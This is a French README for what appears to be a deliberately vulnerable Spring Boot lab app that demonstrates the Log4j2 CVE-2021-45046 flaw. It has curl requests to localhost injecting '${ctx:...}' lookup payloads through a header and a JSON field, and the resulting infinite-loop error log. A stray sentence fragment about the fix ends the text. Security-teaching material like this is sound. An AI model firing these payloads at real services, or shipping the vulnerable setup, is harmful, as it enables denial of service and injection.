
Exemple d'application web Spring Boot vulnérable à Log4j2 CVE-2021-45046, démontrant l'injection JNDI et l'exploitation de boucle infinie pour des tests de sécurité éducatifs.
Cette application est basée sur une application web Spring Boot vulnérable à CVE-2021-45046.
Elle utilise Log4j 2.14.1 (via spring-boot-starter-log4j2 2.6.1).

Lancez-la :
Importez le projet dans un IDE Java en tant que projet Maven.
Exécutez CVEMainApplication.java en tant qu'application Spring Boot.
Pour GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'
Pour requête POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${ctx:clientRef}"
}'
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
supprimant la prise en charge des motifs de recherche de messages et en désactivant la fonctionnalité JNDI par défaut.